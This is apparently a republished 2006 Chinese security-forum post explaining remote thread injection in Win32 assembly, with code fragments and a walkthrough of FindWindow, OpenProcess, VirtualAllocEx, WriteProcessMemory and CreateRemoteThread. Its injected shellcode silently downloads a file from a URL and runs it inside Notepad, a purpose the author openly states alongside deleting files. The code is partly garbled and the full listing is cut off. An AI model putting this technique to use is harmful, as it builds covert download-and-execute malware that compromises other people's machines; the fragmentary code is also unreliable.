简单线程注入的实现(win汇编语言).docVIP

简单线程注入的实现(win32汇编语言) 导读：就爱阅读网友为您分享以下“简单线程注入的实现(win32汇编语言)”资讯，希望对您有所帮助，感谢您对92的支持! [原创]简单线程注入的实现(win32汇编语言) 文章标题:[原创]简单线程注入的实现(win32汇编语言)顶部 asm 发布于:2006-11-1722:16 [楼主][原创]简单线程注入的实现(win32汇编语言) 文章作者:asm[C.R.S.T] 文章来源:邪恶八进制信息安全团队(/) 简单的线程注入的实现 注:代码编写过程参考了一些资料,在此谢过 最近在搞线程注入。其实这个流程也蛮简单的。一些书上写的线程注入，都是使用call[ebx+XXXX]的形式来解决重定位，这样的话，invoke伪指令就不能直接使用了.就像用伪指令调用messagebox，本来就是invokeMessageBox,NULL,addrszCaption,addrszTitle,MB_OK,远程注入的话，代码就要变动，写成如下形式： Copycode leaeax[ebx+szTitle] leaecx[ebx+szCaption] _invoke[ebx,_MessageBox],NULL,ecx,eax,MB_OK 还挺麻烦的.我通过参考网络上的一些资料，通过线程注入记事本，计算器，或者别的知道了窗口类的软件进程。在他们的基础上，线程注入，然后注入的代码编写成其他我需要体现的，例如，悄悄下载一些东西并且运行，删除一些文件等，这个是个人爱好了. 下面是主要的注入记事本进程后运行的代码： Copycode Shellcodeproc pus callLoadLibrary pus callLoadLibrary invokeURLDownloadToFile,NULL,addrszURL,addrszSaveFile,NULL,NULL invokeShellExecute,0,0,addrszSaveFile,0,0,SW_SHOW invokeExitThread,0 ret Shellcodeendp 这段代码是插在记事本运行的，所以它自己要装载API所需要的dll。比如URLDownloadToFile，是urlmon.dll里面的，所以，要用LoadLibrary装载 Copycode pus callLoadLibrary这个地址，是urlmon.dll的内存地址，在同一个exe文件的空间，内存地址是没有改变，所压栈，然后callLoadLibrary调用,这样我们就可以使用这个API下载文件了。ShellExecute是在shell32.dll里面，在远程线程调用，自然也要 Copycode pus callLoadLibrary 其是shell32.dll的内存地址。全部都装载完毕，API就可以正常调用 Copycode invokeURLDownloadToFile,NULL,addrszURL,addrszSaveFile,NULL,NULL invokeShellExecute,0,0,addrszSaveFile,0,0,SW_SHOW 使用了伪指令的方式注入。 怎么寻找到记事本的ID？windows提供了FindWindow，只要知道记事本的窗口类，就可以GetWindowThreadProcessId找到了。知道记事本的窗口类很简单，只要下载一些查看窗口类名的工具就可以了，然后你可以随便注入一个知道窗口类的程序进程空间。 Copycode szCalssdb #39;Notepad#39;,0 . invokeFindWindow,addrszCalss,0 . 找到之后，调用GetWindowThreadProcessId可以从窗口类句柄找到PID.接着，OpenProcess找到句柄，其中，要以“允许创建远程线程”，“允许 使用进程的地址空间”，“PROCESS_VM_WRITE”的权限打开。因为我们就是要对记事本的空间进行写的操作，权限务必要足够。如果记事本没有内存空间给我们存放代码，那么也枉然，然后要释放和分配内存空间，VirtualFreeEx与VirtualAllocEx就可以做到，其中VirtualAllocEx返回的句柄保存在寄存器eax中，movhWnd,eax传送到hWnd做为操作的句柄，用WriteProcessMemory开始写它的内存空间，CreateRemoteThread创建指定的线程目标进程句柄，也就是我们最后的注入代码. 下面是完整代码: Copycode .386 .mod